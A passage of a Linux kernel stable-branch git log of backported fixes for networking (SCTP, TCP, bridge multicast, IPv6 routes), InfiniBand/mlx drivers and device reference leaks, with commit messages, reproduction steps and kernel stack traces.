    [ Upstream commit e551c32d57c88923f99f8f010e89ca7ed0735e83 ]
    
    At accept() time, it is possible the parent has a non zero
    sk_err_soft, leftover from a prior error.
    
    Make sure we do not leave this value in the child, as it
    makes future getsockopt(SO_ERROR) calls quite unreliable.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Acked-by: Soheil Hassas Yeganeh <soheil@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 90523418b2fecb64ad68e0c5f0e3381bdb020671
Author: Joe Perches <joe@perches.com>
Date:   Thu Jun 25 15:01:16 2015 -0700

    stddef.h: move offsetofend inside #ifndef/#endif guard, neaten
    
    commit 8c7fbe5795a016259445a61e072eb0118aaf6a61 upstream.
    
    Commit 3876488444e7 ("include/stddef.h: Move offsetofend() from vfio.h
    to a generic kernel header") added offsetofend outside the normal
    include #ifndef/#endif guard.  Move it inside.
    
    Miscellanea:
    
    o remove unnecessary blank line
    o standardize offsetof macros whitespace style
    
    Signed-off-by: Joe Perches <joe@perches.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6e5b7494b4c4fa6fc40f0ea7fa699e7a16773b9d
Author: Denys Vlasenko <dvlasenk@redhat.com>
Date:   Mon Mar 9 15:52:17 2015 +0100

    include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header
    
    commit 3876488444e71238e287459c39d7692b6f718c3e upstream.
    
    Suggested by Andy.
    
    Suggested-by: Andy Lutomirski <luto@amacapital.net>
    Signed-off-by: Denys Vlasenko <dvlasenk@redhat.com>
    Acked-by: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Alexei Starovoitov <ast@plumgrid.com>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Frederic Weisbecker <fweisbec@gmail.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Kees Cook <keescook@chromium.org>
    Cc: Oleg Nesterov <oleg@redhat.com>
    Cc: Steven Rostedt <rostedt@goodmis.org>
    Cc: Will Drewry <wad@chromium.org>
    Link: http://lkml.kernel.org/r/1425912738-559-1-git-send-email-dvlasenk@redhat.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d0e34f015460b0ef2c359b3489b29c10cae5ed6e
Author: Gavin Shan <gwshan@linux.vnet.ibm.com>
Date:   Fri May 30 11:35:54 2014 -0600

    drivers/vfio: Rework offsetofend()
    
    commit b13460b92093b29347e99d6c3242e350052b62cd upstream.
    
    The macro offsetofend() introduces unnecessary temporary variable
    "tmp". The patch avoids that and saves a bit memory in stack.
    
    Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
    Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit fb77271c550e1414597dfac77202d85bd866f0a9
Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Date:   Tue Oct 25 14:27:39 2016 -0200

    sctp: validate chunk len before actually using it
    
    [ Upstream commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 ]
    
    Andrey Konovalov reported that KASAN detected that SCTP was using a slab
    beyond the boundaries. It was caused because when handling out of the
    blue packets in function sctp_sf_ootb() it was checking the chunk len
    only after already processing the first chunk, validating only for the
    2nd and subsequent ones.
    
    The fix is to just move the check upwards so it's also validated for the
    1st chunk.
    
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Reviewed-by: Xin Long <lucien.xin@gmail.com>
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1dde9e47b893dcfa63ac8eb0190fba91d3ba1ce4
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Fri Oct 21 14:13:24 2016 +0200

    net: sctp, forbid negative length
    
    [ Upstream commit a4b8e71b05c27bae6bad3bdecddbc6b68a3ad8cf ]
    
    Most of getsockopt handlers in net/sctp/socket.c check len against
    sizeof some structure like:
            if (len < sizeof(int))
                    return -EINVAL;
    
    On the first look, the check seems to be correct. But since len is int
    and sizeof returns size_t, int gets promoted to unsigned size_t too. So
    the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is
    false.
    
    Fix this in sctp by explicitly checking len < 0 before any getsockopt
    handler is called.
    
    Note that sctp_getsockopt_events already handled the negative case.
    Since we added the < 0 check elsewhere, this one can be removed.
    
    If not checked, this is the result:
    UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19
    shift exponent 52 is too large for 32-bit type 'int'
    CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller #1
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014
     0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3
     ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270
     0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422
    Call Trace:
     [<ffffffffb3051498>] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300
    ...
     [<ffffffffb273f0e4>] ? kmalloc_order+0x24/0x90
     [<ffffffffb27416a4>] ? kmalloc_order_trace+0x24/0x220
     [<ffffffffb2819a30>] ? __kmalloc+0x330/0x540
     [<ffffffffc18c25f4>] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp]
     [<ffffffffc18d2bcd>] ? sctp_getsockopt+0x10d/0x1b0 [sctp]
     [<ffffffffb37c1219>] ? sock_common_getsockopt+0xb9/0x150
     [<ffffffffb37be2f5>] ? SyS_getsockopt+0x1a5/0x270
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Cc: Vlad Yasevich <vyasevich@gmail.com>
    Cc: Neil Horman <nhorman@tuxdriver.com>
    Cc: "David S. Miller" <davem@davemloft.net>
    Cc: linux-sctp@vger.kernel.org
    Cc: netdev@vger.kernel.org
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 260eb33c62ce4632e6698d0bddfa1adf525566e2
Author: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
Date:   Tue Oct 18 18:09:48 2016 +0200

    bridge: multicast: restore perm router ports on multicast enable
    
    [ Upstream commit 7cb3f9214dfa443c1ccc2be637dcc6344cc203f0 ]
    
    Satish reported a problem with the perm multicast router ports not getting
    reenabled after some series of events, in particular if it happens that the
    multicast snooping has been disabled and the port goes to disabled state
    then it will be deleted from the router port list, but if it moves into
    non-disabled state it will not be re-added because the mcast snooping is
    still disabled, and enabling snooping later does nothing.
    
    Here are the steps to reproduce, setup br0 with snooping enabled and eth1
    added as a perm router (multicast_router = 2):
    1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
    2. $ ip l set eth1 down
    ^ This step deletes the interface from the router list
    3. $ ip l set eth1 up
    ^ This step does not add it again because mcast snooping is disabled
    4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
    5. $ bridge -d -s mdb show
    <empty>
    
    At this point we have mcast enabled and eth1 as a perm router (value = 2)
    but it is not in the router list which is incorrect.
    
    After this change:
    1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
    2. $ ip l set eth1 down
    ^ This step deletes the interface from the router list
    3. $ ip l set eth1 up
    ^ This step does not add it again because mcast snooping is disabled
    4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
    5. $ bridge -d -s mdb show
    router ports on br0: eth1
    
    Note: we can directly do br_multicast_enable_port for all because the
    querier timer already has checks for the port state and will simply
    expire if it's in blocking/disabled. See the comment added by
    commit 9aa66382163e7 ("bridge: multicast: add a comment to
    br_port_state_selection about blocking state")
    
    Fixes: 561f1103a2b7 ("bridge: Add multicast_snooping sysfs toggle")
    Reported-by: Satish Ashok <sashok@cumulusnetworks.com>
    Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e83687e1c5531576996231d3201bc13d3c6c28ca
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Wed Oct 12 10:10:40 2016 +0200

    ipv6: correctly add local routes when lo goes up
    
    [ Upstream commit a220445f9f4382c36a53d8ef3e08165fa27f7e2c ]
    
    The goal of the patch is to fix this scenario:
     ip link add dummy1 type dummy
     ip link set dummy1 up
     ip link set lo down ; ip link set lo up
    
    After that sequence, the local route to the link layer address of dummy1 is
    not there anymore.
    
    When the loopback is set down, all local routes are deleted by
    addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still
    exists, because the corresponding idev has a reference on it. After the rcu
    grace period, dst_rcu_free() is called, and thus ___dst_free(), which will
    set obsolete to DST_OBSOLETE_DEAD.
    
    In this case, init_loopback() is called before dst_rcu_free(), thus
    obsolete is still sets to something <= 0. So, the function doesn't add the
    route again. To avoid that race, let's check the rt6 refcnt instead.
    
    Fixes: 25fb6ca4ed9c ("net IPv6 : Fix broken IPv6 routing table after loopback down-up")
    Fixes: a881ae1f625c ("ipv6: don't call addrconf_dst_alloc again when enable lo")
    Fixes: 33d99113b110 ("ipv6: reallocate addrconf router for ipv6 address when lo device up")
    Reported-by: Francesco Santoro <francesco.santoro@6wind.com>
    Reported-by: Samuel Gauthier <samuel.gauthier@6wind.com>
    CC: Balakumaran Kannan <Balakumaran.Kannan@ap.sony.com>
    CC: Maruthi Thotad <Maruthi.Thotad@ap.sony.com>
    CC: Sabrina Dubroca <sd@queasysnail.net>
    CC: Hannes Frederic Sowa <hannes@stressinduktion.org>
    CC: Weilong Chen <chenweilong@huawei.com>
    CC: Gao feng <gaofeng@cn.fujitsu.com>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1bd84554a87f1065b05d34fe737e5b20e01be99a
Author: Anoob Soman <anoob.soman@citrix.com>
Date:   Wed Oct 5 15:12:54 2016 +0100

    packet: call fanout_release, while UNREGISTERING a netdev
    
    [ Upstream commit 6664498280cf17a59c3e7cf1a931444c02633ed1 ]
    
    If a socket has FANOUT sockopt set, a new proto_hook is registered
    as part of fanout_add(). When processing a NETDEV_UNREGISTER event in
    af_packet, __fanout_unlink is called for all sockets, but prot_hook which was
    registered as part of fanout_add is not removed. Call fanout_release, on a
    NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the
    fanout_list.
    
    This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo()
    
    Signed-off-by: Anoob Soman <anoob.soman@citrix.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a6109221deb9bf08efe73f258b7d7f8aa90db5d0
Author: Andrew Collins <acollins@cradlepoint.com>
Date:   Mon Oct 3 13:43:02 2016 -0600

    net: Add netdev all_adj_list refcnt propagation to fix panic
    
    [ Upstream commit 93409033ae653f1c9a949202fb537ab095b2092f ]
    
    This is a respin of a patch to fix a relatively easily reproducible kernel
    panic related to the all_adj_list handling for netdevs in recent kernels.
    
    The following sequence of commands will reproduce the issue:
    
    ip link add link eth0 name eth0.100 type vlan id 100
    ip link add link eth0 name eth0.200 type vlan id 200
    ip link add name testbr type bridge
    ip link set eth0.100 master testbr
    ip link set eth0.200 master testbr
    ip link add link testbr mac0 type macvlan
    ip link delete dev testbr
    
    This creates an upper/lower tree of (excuse the poor ASCII art):
    
                /---eth0.100-eth0
    mac0-testbr-
                \---eth0.200-eth0
    
    When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from
    the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one
    reference to eth0 is added, so this results in a panic.
    
    This change adds reference count propagation so things are handled properly.
    
    Matthias Schiffer reported a similar crash in batman-adv:
    
    https://github.com/freifunk-gluon/gluon/issues/680
    https://www.open-mesh.org/issues/247
    
    which this patch also seems to resolve.
    
    [js] 3.12 does not have lists yet.
    
    Signed-off-by: Andrew Collins <acollins@cradlepoint.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 83d83b52245e623d53e7b766e23fc43bf80e77eb
Author: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
Date:   Sun Sep 25 23:08:31 2016 +0200

    ipmr, ip6mr: fix scheduling while atomic and a deadlock with ipmr_get_route
    
    [ Upstream commit 2cf750704bb6d7ed8c7d732e071dd1bc890ea5e8 ]
    
    Since the commit below the ipmr/ip6mr rtnl_unicast() code uses the portid
    instead of the previous dst_pid which was copied from in_skb's portid.
    Since the skb is new the portid is 0 at that point so the packets are sent
    to the kernel and we get scheduling while atomic or a deadlock (depending
    on where it happens) by trying to acquire rtnl two times.
    Also since this is RTM_GETROUTE, it can be triggered by a normal user.
    
    Here's the sleeping while atomic trace:
    [ 7858.212557] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620
    [ 7858.212748] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/0
    [ 7858.212881] 2 locks held by swapper/0/0:
    [ 7858.213013]  #0:  (((&mrt->ipmr_expire_timer))){+.-...}, at: [<ffffffff810fbbf5>] call_timer_fn+0x5/0x350
    [ 7858.213422]  #1:  (mfc_unres_lock){+.....}, at: [<ffffffff8161e005>] ipmr_expire_process+0x25/0x130
    [ 7858.213807] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.8.0-rc7+ #179
    [ 7858.213934] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
    [ 7858.214108]  0000000000000000 ffff88005b403c50 ffffffff813a7804 0000000000000000
    [ 7858.214412]  ffffffff81a1338e ffff88005b403c78 ffffffff810a4a72 ffffffff81a1338e
    [ 7858.214716]  000000000000026c 0000000000000000 ffff88005b403ca8 ffffffff810a4b9f
    [ 7858.215251] Call Trace:
    [ 7858.215412]  <IRQ>  [<ffffffff813a7804>] dump_stack+0x85/0xc1
    [ 7858.215662]  [<ffffffff810a4a72>] ___might_sleep+0x192/0x250
    [ 7858.215868]  [<ffffffff810a4b9f>] __might_sleep+0x6f/0x100
    [ 7858.216072]  [<ffffffff8165bea3>] mutex_lock_nested+0x33/0x4d0
    [ 7858.216279]  [<ffffffff815a7a5f>] ? netlink_lookup+0x25f/0x460
    [ 7858.216487]  [<ffffffff8157474b>] rtnetlink_rcv+0x1b/0x40
    [ 7858.216687]  [<ffffffff815a9a0c>] netlink_unicast+0x19c/0x260
    [ 7858.216900]  [<ffffffff81573c70>] rtnl_unicast+0x20/0x30
    [ 7858.217128]  [<ffffffff8161cd39>] ipmr_destroy_unres+0xa9/0xf0
    [ 7858.217351]  [<ffffffff8161e06f>] ipmr_expire_process+0x8f/0x130
    [ 7858.217581]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217785]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217990]  [<ffffffff810fbc95>] call_timer_fn+0xa5/0x350
    [ 7858.218192]  [<ffffffff810fbbf5>] ? call_timer_fn+0x5/0x350
    [ 7858.218415]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.218656]  [<ffffffff810fde10>] run_timer_softirq+0x260/0x640
    [ 7858.218865]  [<ffffffff8166379b>] ? __do_softirq+0xbb/0x54f
    [ 7858.219068]  [<ffffffff816637c8>] __do_softirq+0xe8/0x54f
    [ 7858.219269]  [<ffffffff8107a948>] irq_exit+0xb8/0xc0
    [ 7858.219463]  [<ffffffff81663452>] smp_apic_timer_interrupt+0x42/0x50
    [ 7858.219678]  [<ffffffff816625bc>] apic_timer_interrupt+0x8c/0xa0
    [ 7858.219897]  <EOI>  [<ffffffff81055f16>] ? native_safe_halt+0x6/0x10
    [ 7858.220165]  [<ffffffff810d64dd>] ? trace_hardirqs_on+0xd/0x10
    [ 7858.220373]  [<ffffffff810298e3>] default_idle+0x23/0x190
    [ 7858.220574]  [<ffffffff8102a20f>] arch_cpu_idle+0xf/0x20
    [ 7858.220790]  [<ffffffff810c9f8c>] default_idle_call+0x4c/0x60
    [ 7858.221016]  [<ffffffff810ca33b>] cpu_startup_entry+0x39b/0x4d0
    [ 7858.221257]  [<ffffffff8164f995>] rest_init+0x135/0x140
    [ 7858.221469]  [<ffffffff81f83014>] start_kernel+0x50e/0x51b
    [ 7858.221670]  [<ffffffff81f82120>] ? early_idt_handler_array+0x120/0x120
    [ 7858.221894]  [<ffffffff81f8243f>] x86_64_start_reservations+0x2a/0x2c
    [ 7858.222113]  [<ffffffff81f8257c>] x86_64_start_kernel+0x13b/0x14a
    
    Fixes: 2942e9005056 ("[RTNETLINK]: Use rtnl_unicast() for rtnetlink unicasts")
    Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8026beb452017c7030389b0ee7b00a8d08d6bd5a
Author: Lance Richardson <lrichard@redhat.com>
Date:   Fri Sep 23 15:50:29 2016 -0400

    ip6_gre: fix flowi6_proto value in ip6gre_xmit_other()
    
    [ Upstream commit db32e4e49ce2b0e5fcc17803d011a401c0a637f6 ]
    
    Similar to commit 3be07244b733 ("ip6_gre: fix flowi6_proto value in
    xmit path"), set flowi6_proto to IPPROTO_GRE for output route lookup.
    
    Up until now, ip6gre_xmit_other() has set flowi6_proto to a bogus value.
    This affected output route lookup for packets sent on an ip6gretap device
    in cases where routing was dependent on the value of flowi6_proto.
    
    Since the correct proto is already set in the tunnel flowi6 template via
    commit 252f3f5a1189 ("ip6_gre: Set flowi6_proto as IPPROTO_GRE in xmit
    path."), simply delete the line setting the incorrect flowi6_proto value.
    
    Suggested-by: Jiri Benc <jbenc@redhat.com>
    Fixes: c12b395a4664 ("gre: Support GRE over IPv6")
    Reviewed-by: Shmulik Ladkani <shmulik.ladkani@gmail.com>
    Signed-off-by: Lance Richardson <lrichard@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 511ad85e5eb023f16494d703446f3d7b7f09e879
Author: Douglas Caetano dos Santos <douglascs@taghos.com.br>
Date:   Thu Sep 22 15:52:04 2016 -0300

    tcp: fix wrong checksum calculation on MTU probing
    
    [ Upstream commit 2fe664f1fcf7c4da6891f95708a7a56d3c024354 ]
    
    With TCP MTU probing enabled and offload TX checksumming disabled,
    tcp_mtu_probe() calculated the wrong checksum when a fragment being copied
    into the probe's SKB had an odd length. This was caused by the direct use
    of skb_copy_and_csum_bits() to calculate the checksum, as it pads the
    fragment being copied, if needed. When this fragment was not the last, a
    subsequent call used the previous checksum without considering this
    padding.
    
    The effect was a stale connection in one way, as even retransmissions
    wouldn't solve the problem, because the checksum was never recalculated for
    the full SKB length.
    
    Signed-off-by: Douglas Caetano dos Santos <douglascs@taghos.com.br>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1497fd0e23a1cbf0bfda0af3107d825166d98e3d
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Sep 15 08:48:46 2016 -0700

    net: avoid sk_forward_alloc overflows
    
    [ Upstream commit 20c64d5cd5a2bdcdc8982a06cb05e5e1bd851a3d ]
    
    A malicious TCP receiver, sending SACK, can force the sender to split
    skbs in write queue and increase its memory usage.
    
    Then, when socket is closed and its write queue purged, we might
    overflow sk_forward_alloc (It becomes negative)
    
    sk_mem_reclaim() does nothing in this case, and more than 2GB
    are leaked from TCP perspective (tcp_memory_allocated is not changed)
    
    Then warnings trigger from inet_sock_destruct() and
    sk_stream_kill_queues() seeing a not zero sk_forward_alloc
    
    All TCP stack can be stuck because TCP is under memory pressure.
    
    A simple fix is to preemptively reclaim from sk_mem_uncharge().
    
    This makes sure a socket wont have more than 2 MB forward allocated,
    after burst and idle period.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 85974477c81193a33b3a757d007e8bbaf5bf0516
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Sep 15 08:12:33 2016 -0700

    tcp: fix overflow in __tcp_retransmit_skb()
    
    [ Upstream commit ffb4d6c8508657824bcef68a36b2a0f9d8c09d10 ]
    
    If a TCP socket gets a large write queue, an overflow can happen
    in a test in __tcp_retransmit_skb() preventing all retransmits.
    
    The flow then stalls and resets after timeouts.
    
    Tested:
    
    sysctl -w net.core.wmem_max=1000000000
    netperf -H dest -- -s 1000000000
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d7f754f86363bbcd43b7562e0181724c39c4b5ea
Author: Eric Dumazet <edumazet@google.com>
Date:   Fri May 15 12:39:25 2015 -0700

    net: fix sk_mem_reclaim_partial()
    
    commit 1a24e04e4b50939daa3041682b38b82c896ca438 upstream.
    
    sk_mem_reclaim_partial() goal is to ensure each socket has
    one SK_MEM_QUANTUM forward allocation. This is needed both for
    performance and better handling of memory pressure situations in
    follow up patches.
    
    SK_MEM_QUANTUM is currently a page, but might be reduced to 4096 bytes
    as some arches have 64KB pages.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit ed453170fc54a3d8509c8c609e1bb7b49fbd0a24
Author: Mark Bloch <markb@mellanox.com>
Date:   Thu Oct 27 16:36:27 2016 +0300

    IB/cm: Mark stale CM id's whenever the mad agent was unregistered
    
    commit 9db0ff53cb9b43ed75bacd42a89c1a0ab048b2b0 upstream.
    
    When there is a CM id object that has port assigned to it, it means that
    the cm-id asked for the specific port that it should go by it, but if
    that port was removed (hot-unplug event) the cm-id was not updated.
    In order to fix that the port keeps a list of all the cm-id's that are
    planning to go by it, whenever the port is removed it marks all of them
    as invalid.
    
    This commit fixes a kernel panic which happens when running traffic between
    guests and we force reboot a guest mid traffic, it triggers a kernel panic:
    
     Call Trace:
      [<ffffffff815271fa>] ? panic+0xa7/0x16f
      [<ffffffff8152b534>] ? oops_end+0xe4/0x100
      [<ffffffff8104a00b>] ? no_context+0xfb/0x260
      [<ffffffff81084db2>] ? del_timer_sync+0x22/0x30
      [<ffffffff8104a295>] ? __bad_area_nosemaphore+0x125/0x1e0
      [<ffffffff81084240>] ? process_timeout+0x0/0x10
      [<ffffffff8104a363>] ? bad_area_nosemaphore+0x13/0x20
      [<ffffffff8104aabf>] ? __do_page_fault+0x31f/0x480
      [<ffffffff81065df0>] ? default_wake_function+0x0/0x20
      [<ffffffffa0752675>] ? free_msg+0x55/0x70 [mlx5_core]
      [<ffffffffa0753434>] ? cmd_exec+0x124/0x840 [mlx5_core]
      [<ffffffff8105a924>] ? find_busiest_group+0x244/0x9f0
      [<ffffffff8152d45e>] ? do_page_fault+0x3e/0xa0
      [<ffffffff8152a815>] ? page_fault+0x25/0x30
      [<ffffffffa024da25>] ? cm_alloc_msg+0x35/0xc0 [ib_cm]
      [<ffffffffa024e821>] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm]
      [<ffffffffa024f836>] ? cm_destroy_id+0x176/0x320 [ib_cm]
      [<ffffffffa024fb00>] ? ib_destroy_cm_id+0x10/0x20 [ib_cm]
      [<ffffffffa034f527>] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib]
      [<ffffffffa034f590>] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib]
      [<ffffffffa034f5a5>] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib]
      [<ffffffff81094d20>] ? worker_thread+0x170/0x2a0
      [<ffffffff8109b2a0>] ? autoremove_wake_function+0x0/0x40
      [<ffffffff81094bb0>] ? worker_thread+0x0/0x2a0
      [<ffffffff8109aef6>] ? kthread+0x96/0xa0
      [<ffffffff8100c20a>] ? child_rip+0xa/0x20
      [<ffffffff8109ae60>] ? kthread+0x0/0xa0
      [<ffffffff8100c200>] ? child_rip+0x0/0x20
    
    Fixes: a977049dacde ("[PATCH] IB: Add the kernel CM implementation")
    Signed-off-by: Mark Bloch <markb@mellanox.com>
    Signed-off-by: Erez Shitrit <erezsh@mellanox.com>
    Reviewed-by: Maor Gottlieb <maorg@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 81b33083ca84c12091a11abd6397b18f21207dc7
Author: Tariq Toukan <tariqt@mellanox.com>
Date:   Thu Oct 27 16:36:26 2016 +0300

    IB/uverbs: Fix leak of XRC target QPs
    
    commit 5b810a242c28e1d8d64d718cebe75b79d86a0b2d upstream.
    
    The real QP is destroyed in case of the ref count reaches zero, but
    for XRC target QPs this call was missed and caused to QP leaks.
    
    Let's call to destroy for all flows.
    
    Fixes: 0e0ec7e0638e ('RDMA/core: Export ib_open_qp() to share XRC...')
    Signed-off-by: Tariq Toukan <tariqt@mellanox.com>
    Signed-off-by: Noa Osherovich <noaos@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a6f56e55d4e94024ea8275fe50f54d667f100a2f
Author: Eli Cohen <eli@mellanox.com>
Date:   Thu Oct 27 16:36:44 2016 +0300

    IB/mlx5: Fix fatal error dispatching
    
    commit dbaaff2a2caa03d472b5cc53a3fbfd415c97dc26 upstream.
    
    When an internal error condition is detected, make sure to set the
    device inactive after dispatching the event so ULPs can get a
    notification of this event.
    
    Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters')
    Signed-off-by: Eli Cohen <eli@mellanox.com>
    Signed-off-by: Maor Gottlieb <maorg@mellanox.com>
    Reviewed-by: Mohamad Haj Yahia <mohamad@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 577f7b9e99d1a86284a02792e038511293e56710
Author: Daniel Jurgens <danielj@mellanox.com>
Date:   Thu Oct 27 16:36:41 2016 +0300

    IB/mlx5: Use cache line size to select CQE stride
    
    commit 16b0e0695a73b68d8ca40288c8f9614ef208917b upstream.
    
    When creating kernel CQs use 128B CQE stride if the
    cache line size is 128B, 64B otherwise.  This prevents
    multiple CQEs from residing in a 128B cache line,
    which can cause retries when there are concurrent
    read and writes in one cache line.
    
    Tested with IPoIB on PPC64, saw ~5% throughput
    improvement.
    
    Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters')
    Signed-off-by: Daniel Jurgens <danielj@mellanox.com>
    Signed-off-by: Maor Gottlieb <maorg@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3ee9c742bb021ab292e97f1e26bf2a339b20310c
Author: Matan Barak <matanb@mellanox.com>
Date:   Thu Nov 10 11:30:55 2016 +0200

    IB/mlx4: Fix create CQ error flow
    
    commit 593ff73bcfdc79f79a8a0df55504f75ad3e5d1a9 upstream.
    
    Currently, if ib_copy_to_udata fails, the CQ
    won't be deleted from the radix tree and the HW (HW2SW).
    
    Fixes: 225c7b1feef1 ('IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters')
    Signed-off-by: Matan Barak <matanb@mellanox.com>
    Signed-off-by: Daniel Jurgens <danielj@mellanox.com>
    Reviewed-by: Mark Bloch <markb@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 270202d09fb6cdfbe89d19948c068b4487286693
Author: Johan Hovold <johan@kernel.org>
Date:   Tue Nov 1 11:49:56 2016 +0100

    PM / sleep: fix device reference leak in test_suspend
    
    commit ceb75787bc75d0a7b88519ab8a68067ac690f55a upstream.
    
    Make sure to drop the reference taken by class_find_device() after
    opening the RTC device.
    
    Fixes: 77437fd4e61f (pm: boot time suspend selftest)
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b0c22e761d054ac018cbac545cee7b2144939bd3
Author: Johan Hovold <johan@kernel.org>
Date:   Tue Nov 1 12:13:31 2016 +0100

    uwb: fix device reference leaks
    
    commit d6124b409ca33c100170ffde51cd8dff761454a1 upstream.
    
    This subsystem consistently fails to drop the device reference taken by
    class_find_device().
    
    Note that some of these lookup functions already take a reference to the
    returned data, while others claim no reference is needed (or does not
    seem need one).
    
    Fixes: 183b9b592a62 ("uwb: add the UWB stack (core files)")
    Signed-off-by: Johan Hovold <johan@kernel.org>
